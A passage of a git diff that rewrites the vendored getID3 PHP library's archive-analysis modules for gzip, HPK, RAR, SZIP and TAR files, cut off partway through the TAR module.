- '6' => 'HPFS filesystem (OS/2, NT)', - '7' => 'Macintosh', - '8' => 'Z-System', - '9' => 'CP/M', - '10' => 'TOPS-20', - '11' => 'NTFS filesystem (NT)', - '12' => 'QDOS', - '13' => 'Acorn RISCOS', - '255' => 'unknown' - ); - return (isset($os_type[$key]) ? $os_type[$key] : ''); - } - - /** - * Converts the eXtra FLags. - * - * @param string $key - * - * @return string - */ - public function get_xflag_type($key) { - static $xflag_type = array( - '0' => 'unknown', - '2' => 'maximum compression', - '4' => 'fastest algorithm' - ); - return (isset($xflag_type[$key]) ? $xflag_type[$key] : ''); - } -} - + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.gzip.php // +// module for analyzing GZIP files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// +// // +// Module originally written by // +// Mike Mozolin // +// // +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_gzip extends getid3_handler +{ + /** + * Optional file list - disable for speed. + * Decode gzipped files, if possible, and parse recursively (.tar.gz for example). + * + * @var bool + */ + public $parse_contents = false; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'gzip'; + + $start_length = 10; + $unpack_header = 'a1id1/a1id2/a1cmethod/a1flags/a4mtime/a1xflags/a1os'; + //+---+---+---+---+---+---+---+---+---+---+ + //|ID1|ID2|CM |FLG| MTIME |XFL|OS | + //+---+---+---+---+---+---+---+---+---+---+ + + if ($info['php_memory_limit'] && ($info['filesize'] > $info['php_memory_limit'])) { + $this->error('File is too large ('.number_format($info['filesize']).' bytes) to read into memory (limit: '.number_format($info['php_memory_limit'] / 1048576).'MB)'); + return false; + } + $this->fseek(0); + $buffer = $this->fread($info['filesize']); + + $arr_members = explode("\x1F\x8B\x08", $buffer); + $num_members = 0; + while (true) { + $is_wrong_members = false; + $num_members = count($arr_members); + for ($i = 0; $i < $num_members; $i++) { + if (strlen($arr_members[$i]) == 0) { + continue; + } + $buf = "\x1F\x8B\x08".$arr_members[$i]; + + $attr = unpack($unpack_header, substr($buf, 0, $start_length)); + if (!$this->get_os_type(ord($attr['os']))) { + // Merge member with previous if wrong OS type + $arr_members[($i - 1)] .= $buf; + $arr_members[$i] = ''; + $is_wrong_members = true; + continue; + } + } + if (!$is_wrong_members) { + break; + } + } + + $info['gzip']['files'] = array(); + + $fpointer = 0; + $idx = 0; + foreach ($arr_members as $member) { + if (strlen($member) == 0) { + continue; + } + $thisInfo = &$info['gzip']['member_header'][++$idx]; + + $buff = "\x1F\x8B\x08". $member; + + $attr = unpack($unpack_header, substr($buff, 0, $start_length)); + $thisInfo['filemtime'] = getid3_lib::LittleEndian2Int($attr['mtime']); + $thisInfo['raw']['id1'] = ord($attr['cmethod']); + $thisInfo['raw']['id2'] = ord($attr['cmethod']); + $thisInfo['raw']['cmethod'] = ord($attr['cmethod']); + $thisInfo['raw']['os'] = ord($attr['os']); + $thisInfo['raw']['xflags'] = ord($attr['xflags']); + $thisInfo['raw']['flags'] = ord($attr['flags']); + + $thisInfo['flags']['crc16'] = (bool) ($thisInfo['raw']['flags'] & 0x02); + $thisInfo['flags']['extra'] = (bool) ($thisInfo['raw']['flags'] & 0x04); + $thisInfo['flags']['filename'] = (bool) ($thisInfo['raw']['flags'] & 0x08); + $thisInfo['flags']['comment'] = (bool) ($thisInfo['raw']['flags'] & 0x10); + + $thisInfo['compression'] = $this->get_xflag_type($thisInfo['raw']['xflags']); + + $thisInfo['os'] = $this->get_os_type($thisInfo['raw']['os']); + if (!$thisInfo['os']) { + $this->error('Read error on gzip file'); + return false; + } + + $fpointer = 10; + $arr_xsubfield = array(); + // bit 2 - FLG.FEXTRA + //+---+---+=================================+ + //| XLEN |...XLEN bytes of "extra field"...| + //+---+---+=================================+ + if ($thisInfo['flags']['extra']) { + $w_xlen = substr($buff, $fpointer, 2); + $xlen = getid3_lib::LittleEndian2Int($w_xlen); + $fpointer += 2; + + $thisInfo['raw']['xfield'] = substr($buff, $fpointer, $xlen); + // Extra SubFields + //+---+---+---+---+==================================+ + //|SI1|SI2| LEN |... LEN bytes of subfield data ...| + //+---+---+---+---+==================================+ + $idx = 0; + while (true) { + if ($idx >= $xlen) { + break; + } + $si1 = ord(substr($buff, $fpointer + $idx++, 1)); + $si2 = ord(substr($buff, $fpointer + $idx++, 1)); + if (($si1 == 0x41) && ($si2 == 0x70)) { + $w_xsublen = substr($buff, $fpointer + $idx, 2); + $xsublen = getid3_lib::LittleEndian2Int($w_xsublen); + $idx += 2; + $arr_xsubfield[] = substr($buff, $fpointer + $idx, $xsublen); + $idx += $xsublen; + } else { + break; + } + } + $fpointer += $xlen; + } + // bit 3 - FLG.FNAME + //+=========================================+ + //|...original file name, zero-terminated...| + //+=========================================+ + // GZIP files may have only one file, with no filename, so assume original filename is current filename without .gz + $thisInfo['filename'] = preg_replace('#\\.gz$#i', '', $info['filename']); + if ($thisInfo['flags']['filename']) { + $thisInfo['filename'] = ''; + while (true) { + if (ord($buff[$fpointer]) == 0) { + $fpointer++; + break; + } + $thisInfo['filename'] .= $buff[$fpointer]; + $fpointer++; + } + } + // bit 4 - FLG.FCOMMENT + //+===================================+ + //|...file comment, zero-terminated...| + //+===================================+ + if ($thisInfo['flags']['comment']) { + while (true) { + if (ord($buff[$fpointer]) == 0) { + $fpointer++; + break; + } + $thisInfo['comment'] .= $buff[$fpointer]; + $fpointer++; + } + } + // bit 1 - FLG.FHCRC + //+---+---+ + //| CRC16 | + //+---+---+ + if ($thisInfo['flags']['crc16']) { + $w_crc = substr($buff, $fpointer, 2); + $thisInfo['crc16'] = getid3_lib::LittleEndian2Int($w_crc); + $fpointer += 2; + } + // bit 0 - FLG.FTEXT + //if ($thisInfo['raw']['flags'] & 0x01) { + // Ignored... + //} + // bits 5, 6, 7 - reserved + + $thisInfo['crc32'] = getid3_lib::LittleEndian2Int(substr($buff, strlen($buff) - 8, 4)); + $thisInfo['filesize'] = getid3_lib::LittleEndian2Int(substr($buff, strlen($buff) - 4)); + + $info['gzip']['files'] = getid3_lib::array_merge_clobber($info['gzip']['files'], getid3_lib::CreateDeepArray($thisInfo['filename'], '/', $thisInfo['filesize'])); + + if ($this->parse_contents) { + // Try to inflate GZip + $csize = 0; + $inflated = ''; + $chkcrc32 = ''; + if (function_exists('gzinflate')) { + $cdata = substr($buff, $fpointer); + $cdata = substr($cdata, 0, strlen($cdata) - 8); + $csize = strlen($cdata); + $inflated = gzinflate($cdata); + + // Calculate CRC32 for inflated content + $thisInfo['crc32_valid'] = sprintf('%u', crc32($inflated)) == $thisInfo['crc32']; + + // determine format + $formattest = substr($inflated, 0, 32774); + $getid3_temp = new getID3(); + $determined_format = $getid3_temp->GetFileFormat($formattest); + unset($getid3_temp); + + // file format is determined + $determined_format['module'] = (isset($determined_format['module']) ? $determined_format['module'] : ''); + switch ($determined_format['module']) { + case 'tar': + // view TAR-file info + if (file_exists(GETID3_INCLUDEPATH.$determined_format['include']) && include_once(GETID3_INCLUDEPATH.$determined_format['include'])) { + if (($temp_tar_filename = tempnam(GETID3_TEMP_DIR, 'getID3')) === false) { + // can't find anywhere to create a temp file, abort + $this->error('Unable to create temp file to parse TAR inside GZIP file'); + break; + } + if ($fp_temp_tar = fopen($temp_tar_filename, 'w+b')) { + fwrite($fp_temp_tar, $inflated); + fclose($fp_temp_tar); + $getid3_temp = new getID3(); + $getid3_temp->openfile($temp_tar_filename); + $getid3_tar = new getid3_tar($getid3_temp); + $getid3_tar->Analyze(); + $info['gzip']['member_header'][$idx]['tar'] = $getid3_temp->info['tar']; + unset($getid3_temp, $getid3_tar); + unlink($temp_tar_filename); + } else { + $this->error('Unable to fopen() temp file to parse TAR inside GZIP file'); + break; + } + } + break; + + case '': + default: + // unknown or unhandled format + break; + } + } else { + $this->warning('PHP is not compiled with gzinflate() support. Please enable PHP Zlib extension or recompile with the --with-zlib switch'); + } + } + } + return true; + } + + /** + * Converts the OS type. + * + * @param string $key + * + * @return string + */ + public function get_os_type($key) { + static $os_type = array( + '0' => 'FAT filesystem (MS-DOS, OS/2, NT/Win32)', + '1' => 'Amiga', + '2' => 'VMS (or OpenVMS)', + '3' => 'Unix', + '4' => 'VM/CMS', + '5' => 'Atari TOS', + '6' => 'HPFS filesystem (OS/2, NT)', + '7' => 'Macintosh', + '8' => 'Z-System', + '9' => 'CP/M', + '10' => 'TOPS-20', + '11' => 'NTFS filesystem (NT)', + '12' => 'QDOS', + '13' => 'Acorn RISCOS', + '255' => 'unknown' + ); + return (isset($os_type[$key]) ? $os_type[$key] : ''); + } + + /** + * Converts the eXtra FLags. + * + * @param string $key + * + * @return string + */ + public function get_xflag_type($key) { + static $xflag_type = array( + '0' => 'unknown', + '2' => 'maximum compression', + '4' => 'fastest algorithm' + ); + return (isset($xflag_type[$key]) ? $xflag_type[$key] : ''); + } +} + diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.hpk.php b/vendor/james-heinrich/getid3/getid3/module.archive.hpk.php index 8db1760559..328dbd5962 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.hpk.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.hpk.php @@ -1,92 +1,92 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.hpk.php // -// module for analyzing HPK files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_hpk extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'hpk'; - - $this->fseek($info['avdataoffset']); - $HPKheader = $this->fread(36); - - if (substr($HPKheader, 0, 4) == 'BPUL') { - - $info['hpk']['header']['signature'] = substr($HPKheader, 0, 4); - $info['hpk']['header']['data_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 4, 4)); - $info['hpk']['header']['fragments_per_file'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 8, 4)); - //$info['hpk']['header']['unknown1'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 12, 4)); - $info['hpk']['header']['fragments_residual_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 16, 4)); - $info['hpk']['header']['fragments_residual_count'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 20, 4)); - //$info['hpk']['header']['unknown2'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 24, 4)); - $info['hpk']['header']['fragmented_filesystem_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 28, 4)); - $info['hpk']['header']['fragmented_filesystem_length'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 32, 4)); - - $info['hpk']['header']['filesystem_entries'] = $info['hpk']['header']['fragmented_filesystem_length'] / ($info['hpk']['header']['fragments_per_file'] * 8); - $this->fseek($info['hpk']['header']['fragmented_filesystem_offset']); - for ($i = 0; $i < $info['hpk']['header']['filesystem_entries']; $i++) { - $offset = getid3_lib::LittleEndian2Int($this->fread(4)); - $length = getid3_lib::LittleEndian2Int($this->fread(4)); - $info['hpk']['filesystem'][$i] = array('offset' => $offset, 'length' => $length); - } - -$this->error('HPK parsing incomplete (and mostly broken) in this version of getID3() ['.$this->getid3->version().']'); - -/* - $filename = ''; - $dirs = array(); - foreach ($info['hpk']['filesystem'] as $key => $filesystemdata) { - $this->fseek($filesystemdata['offset']); - $first4 = $this->fread(4); - if (($first4 == 'LZ4 ') || ($first4 == 'ZLIB')) { - // actual data, ignore - $info['hpk']['toc'][$key] = array( - 'filename' => ltrim(implode('/', $dirs).'/'.$filename, '/'), - 'offset' => $filesystemdata['offset'], - 'length' => $filesystemdata['length'], - ); - $filename = ''; - $dirs = array(); - } else { - $fragment_index = getid3_lib::LittleEndian2Int($first4); - $fragment_type = getid3_lib::LittleEndian2Int($this->fread(4)); // file = 0, directory = 1 - $name_length = getid3_lib::LittleEndian2Int($this->fread(2)); - if ($fragment_type == 1) { - $dirs[] = $this->fread($name_length); - } else { - $filename = $this->fread($name_length); - } - } - } -*/ - - } else { - $this->error('Expecting "BPUL" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($HPKheader, 0, 4)).'"'); - return false; - } - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.hpk.php // +// module for analyzing HPK files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_hpk extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'hpk'; + + $this->fseek($info['avdataoffset']); + $HPKheader = $this->fread(36); + + if (substr($HPKheader, 0, 4) == 'BPUL') { + + $info['hpk']['header']['signature'] = substr($HPKheader, 0, 4); + $info['hpk']['header']['data_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 4, 4)); + $info['hpk']['header']['fragments_per_file'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 8, 4)); + //$info['hpk']['header']['unknown1'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 12, 4)); + $info['hpk']['header']['fragments_residual_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 16, 4)); + $info['hpk']['header']['fragments_residual_count'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 20, 4)); + //$info['hpk']['header']['unknown2'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 24, 4)); + $info['hpk']['header']['fragmented_filesystem_offset'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 28, 4)); + $info['hpk']['header']['fragmented_filesystem_length'] = getid3_lib::LittleEndian2Int(substr($HPKheader, 32, 4)); + + $info['hpk']['header']['filesystem_entries'] = $info['hpk']['header']['fragmented_filesystem_length'] / ($info['hpk']['header']['fragments_per_file'] * 8); + $this->fseek($info['hpk']['header']['fragmented_filesystem_offset']); + for ($i = 0; $i < $info['hpk']['header']['filesystem_entries']; $i++) { + $offset = getid3_lib::LittleEndian2Int($this->fread(4)); + $length = getid3_lib::LittleEndian2Int($this->fread(4)); + $info['hpk']['filesystem'][$i] = array('offset' => $offset, 'length' => $length); + } + +$this->error('HPK parsing incomplete (and mostly broken) in this version of getID3() ['.$this->getid3->version().']'); + +/* + $filename = ''; + $dirs = array(); + foreach ($info['hpk']['filesystem'] as $key => $filesystemdata) { + $this->fseek($filesystemdata['offset']); + $first4 = $this->fread(4); + if (($first4 == 'LZ4 ') || ($first4 == 'ZLIB')) { + // actual data, ignore + $info['hpk']['toc'][$key] = array( + 'filename' => ltrim(implode('/', $dirs).'/'.$filename, '/'), + 'offset' => $filesystemdata['offset'], + 'length' => $filesystemdata['length'], + ); + $filename = ''; + $dirs = array(); + } else { + $fragment_index = getid3_lib::LittleEndian2Int($first4); + $fragment_type = getid3_lib::LittleEndian2Int($this->fread(4)); // file = 0, directory = 1 + $name_length = getid3_lib::LittleEndian2Int($this->fread(2)); + if ($fragment_type == 1) { + $dirs[] = $this->fread($name_length); + } else { + $filename = $this->fread($name_length); + } + } + } +*/ + + } else { + $this->error('Expecting "BPUL" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($HPKheader, 0, 4)).'"'); + return false; + } + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.rar.php b/vendor/james-heinrich/getid3/getid3/module.archive.rar.php index 8eb86ad2b3..f80219c38f 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.rar.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.rar.php @@ -1,61 +1,61 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.rar.php // -// module for analyzing RAR files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_rar extends getid3_handler -{ - /** - * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3) - * - * @var bool - */ - public $use_php_rar_extension = true; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'rar'; - - if ($this->use_php_rar_extension === true) { - if (function_exists('rar_open')) { - if ($rp = rar_open($info['filenamepath'])) { - $info['rar']['files'] = array(); - $entries = rar_list($rp); - foreach ($entries as $entry) { - $info['rar']['files'] = getid3_lib::array_merge_clobber($info['rar']['files'], getid3_lib::CreateDeepArray($entry->getName(), '/', $entry->getUnpackedSize())); - } - rar_close($rp); - return true; - } else { - $this->error('failed to rar_open('.$info['filename'].')'); - } - } else { - $this->error('RAR support does not appear to be available in this PHP installation'); - } - } else { - $this->error('PHP-RAR processing has been disabled (set $getid3_rar->use_php_rar_extension=true to enable)'); - } - return false; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.rar.php // +// module for analyzing RAR files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_rar extends getid3_handler +{ + /** + * if true use PHP RarArchive extension, if false (non-extension parsing not yet written in getID3) + * + * @var bool + */ + public $use_php_rar_extension = true; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'rar'; + + if ($this->use_php_rar_extension === true) { + if (function_exists('rar_open')) { + if ($rp = rar_open($info['filenamepath'])) { + $info['rar']['files'] = array(); + $entries = rar_list($rp); + foreach ($entries as $entry) { + $info['rar']['files'] = getid3_lib::array_merge_clobber($info['rar']['files'], getid3_lib::CreateDeepArray($entry->getName(), '/', $entry->getUnpackedSize())); + } + rar_close($rp); + return true; + } else { + $this->error('failed to rar_open('.$info['filename'].')'); + } + } else { + $this->error('RAR support does not appear to be available in this PHP installation'); + } + } else { + $this->error('PHP-RAR processing has been disabled (set $getid3_rar->use_php_rar_extension=true to enable)'); + } + return false; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.szip.php b/vendor/james-heinrich/getid3/getid3/module.archive.szip.php index 8771ea06db..8647967c68 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.szip.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.szip.php @@ -1,102 +1,102 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.szip.php // -// module for analyzing SZIP compressed files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_szip extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $SZIPHeader = $this->fread(6); - if (substr($SZIPHeader, 0, 4) != "SZ\x0A\x04") { - $this->error('Expecting "53 5A 0A 04" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($SZIPHeader, 0, 4)).'"'); - return false; - } - $info['fileformat'] = 'szip'; - $info['szip']['major_version'] = getid3_lib::BigEndian2Int(substr($SZIPHeader, 4, 1)); - $info['szip']['minor_version'] = getid3_lib::BigEndian2Int(substr($SZIPHeader, 5, 1)); - $this->error('SZIP parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - - while (!$this->feof()) { - $NextBlockID = $this->fread(2); - switch ($NextBlockID) { - case 'SZ': - // Note that szip files can be concatenated, this has the same effect as - // concatenating the files. this also means that global header blocks - // might be present between directory/data blocks. - $this->fseek(4, SEEK_CUR); - break; - - case 'BH': - $BHheaderbytes = getid3_lib::BigEndian2Int($this->fread(3)); - $BHheaderdata = $this->fread($BHheaderbytes); - $BHheaderoffset = 0; - while (strpos($BHheaderdata, "\x00", $BHheaderoffset) > 0) { - //filename as \0 terminated string (empty string indicates end) - //owner as \0 terminated string (empty is same as last file) - //group as \0 terminated string (empty is same as last file) - //3 byte filelength in this block - //2 byte access flags - //4 byte creation time (like in unix) - //4 byte modification time (like in unix) - //4 byte access time (like in unix) - - $BHdataArray['filename'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); - $BHheaderoffset += (strlen($BHdataArray['filename']) + 1); - - $BHdataArray['owner'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); - $BHheaderoffset += (strlen($BHdataArray['owner']) + 1); - - $BHdataArray['group'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); - $BHheaderoffset += (strlen($BHdataArray['group']) + 1); - - $BHdataArray['filelength'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 3)); - $BHheaderoffset += 3; - - $BHdataArray['access_flags'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 2)); - $BHheaderoffset += 2; - - $BHdataArray['creation_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); - $BHheaderoffset += 4; - - $BHdataArray['modification_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); - $BHheaderoffset += 4; - - $BHdataArray['access_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); - $BHheaderoffset += 4; - - $info['szip']['BH'][] = $BHdataArray; - } - break; - - default: - break 2; - } - } - - return true; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.szip.php // +// module for analyzing SZIP compressed files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_szip extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $SZIPHeader = $this->fread(6); + if (substr($SZIPHeader, 0, 4) != "SZ\x0A\x04") { + $this->error('Expecting "53 5A 0A 04" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes(substr($SZIPHeader, 0, 4)).'"'); + return false; + } + $info['fileformat'] = 'szip'; + $info['szip']['major_version'] = getid3_lib::BigEndian2Int(substr($SZIPHeader, 4, 1)); + $info['szip']['minor_version'] = getid3_lib::BigEndian2Int(substr($SZIPHeader, 5, 1)); + $this->error('SZIP parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + + while (!$this->feof()) { + $NextBlockID = $this->fread(2); + switch ($NextBlockID) { + case 'SZ': + // Note that szip files can be concatenated, this has the same effect as + // concatenating the files. this also means that global header blocks + // might be present between directory/data blocks. + $this->fseek(4, SEEK_CUR); + break; + + case 'BH': + $BHheaderbytes = getid3_lib::BigEndian2Int($this->fread(3)); + $BHheaderdata = $this->fread($BHheaderbytes); + $BHheaderoffset = 0; + while (strpos($BHheaderdata, "\x00", $BHheaderoffset) > 0) { + //filename as \0 terminated string (empty string indicates end) + //owner as \0 terminated string (empty is same as last file) + //group as \0 terminated string (empty is same as last file) + //3 byte filelength in this block + //2 byte access flags + //4 byte creation time (like in unix) + //4 byte modification time (like in unix) + //4 byte access time (like in unix) + + $BHdataArray['filename'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); + $BHheaderoffset += (strlen($BHdataArray['filename']) + 1); + + $BHdataArray['owner'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); + $BHheaderoffset += (strlen($BHdataArray['owner']) + 1); + + $BHdataArray['group'] = substr($BHheaderdata, $BHheaderoffset, strcspn($BHheaderdata, "\x00")); + $BHheaderoffset += (strlen($BHdataArray['group']) + 1); + + $BHdataArray['filelength'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 3)); + $BHheaderoffset += 3; + + $BHdataArray['access_flags'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 2)); + $BHheaderoffset += 2; + + $BHdataArray['creation_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); + $BHheaderoffset += 4; + + $BHdataArray['modification_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); + $BHheaderoffset += 4; + + $BHdataArray['access_time'] = getid3_lib::BigEndian2Int(substr($BHheaderdata, $BHheaderoffset, 4)); + $BHheaderoffset += 4; + + $info['szip']['BH'][] = $BHdataArray; + } + break; + + default: + break 2; + } + } + + return true; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.tar.php b/vendor/james-heinrich/getid3/getid3/module.archive.tar.php index b25fc16861..f8aed7952e 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.tar.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.tar.php @@ -1,197 +1,197 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.tar.php // -// module for analyzing TAR files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// -// // -// Module originally written by // -// Mike Mozolin // -// // -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_tar extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'tar'; - $info['tar']['files'] = array(); - - $unpack_header = 'a100fname/a8mode/a8uid/a8gid/a12size/a12mtime/a8chksum/a1typflag/a100lnkname/a6magic/a2ver/a32uname/a32gname/a8devmaj/a8devmin/a155prefix'; - $null_512k = str_repeat("\x00", 512); // end-of-file marker - - $this->fseek(0); - while (!feof($this->getid3->fp)) { - $buffer = $this->fread(512); - if (strlen($buffer) < 512) { - break; - } - - // check the block - $checksum = 0; - for ($i = 0; $i < 148; $i++) { - $checksum += ord($buffer[$i]); - } - for ($i = 148; $i < 156; $i++) { - $checksum += ord(' '); - } - for ($i = 156; $i < 512; $i++) { - $checksum += ord($buffer[$i]); - } - $attr = unpack($unpack_header, $buffer); - $name = (isset($attr['fname'] ) ? trim($attr['fname'] ) : ''); - $mode = octdec(isset($attr['mode'] ) ? trim($attr['mode'] ) : ''); - $uid = octdec(isset($attr['uid'] ) ? trim($attr['uid'] ) : ''); - $gid = octdec(isset($attr['gid'] ) ? trim($attr['gid'] ) : ''); - $size = octdec(isset($attr['size'] ) ? trim($attr['size'] ) : ''); - $mtime = octdec(isset($attr['mtime'] ) ? trim($attr['mtime'] ) : ''); - $chksum = octdec(isset($attr['chksum'] ) ? trim($attr['chksum'] ) : ''); - $typflag = (isset($attr['typflag']) ? trim($attr['typflag']) : ''); - $lnkname = (isset($attr['lnkname']) ? trim($attr['lnkname']) : ''); - $magic = (isset($attr['magic'] ) ? trim($attr['magic'] ) : ''); - $ver = (isset($attr['ver'] ) ? trim($attr['ver'] ) : ''); - $uname = (isset($attr['uname'] ) ? trim($attr['uname'] ) : ''); - $gname = (isset($attr['gname'] ) ? trim($attr['gname'] ) : ''); - $devmaj = octdec(isset($attr['devmaj'] ) ? trim($attr['devmaj'] ) : ''); - $devmin = octdec(isset($attr['devmin'] ) ? trim($attr['devmin'] ) : ''); - $prefix = (isset($attr['prefix'] ) ? trim($attr['prefix'] ) : ''); - if (($checksum == 256) && ($chksum == 0)) { - // EOF Found - break; - } - if ($prefix) { - $name = $prefix.'/'.$name; - } - if ((preg_match('#/$#', $name)) && !$name) { - $typeflag = 5; - } - if ($buffer == $null_512k) { - // it's the end of the tar-file... - break; - } - - // Read to the next chunk - $this->fseek($size, SEEK_CUR); - - $diff = $size % 512; - if ($diff != 0) { - // Padding, throw away - $this->fseek((512 - $diff), SEEK_CUR); - } - // Protect against tar-files with garbage at the end - if ($name == '') { - break; - } - $info['tar']['file_details'][$name] = array ( - 'name' => $name, - 'mode_raw' => $mode, - 'mode' => self::display_perms($mode), - 'uid' => $uid, - 'gid' => $gid, - 'size' => $size, - 'mtime' => $mtime, - 'chksum' => $chksum, - 'typeflag' => self::get_flag_type($typflag), - 'linkname' => $lnkname, - 'magic' => $magic, - 'version' => $ver, - 'uname' => $uname, - 'gname' => $gname, - 'devmajor' => $devmaj, - 'devminor' => $devmin - ); - $info['tar']['files'] = getid3_lib::array_merge_clobber($info['tar']['files'], getid3_lib::CreateDeepArray($info['tar']['file_details'][$name]['name'], '/', $size)); - } - return true; - } - - /** - * Parses the file mode to file permissions. - * - * @param int $mode - * - * @return string - */ - public function display_perms($mode) { - // Determine Type - if ($mode & 0x1000) $type='p'; // FIFO pipe - elseif ($mode & 0x2000) $type='c'; // Character special - elseif ($mode & 0x4000) $type='d'; // Directory - elseif ($mode & 0x6000) $type='b'; // Block special - elseif 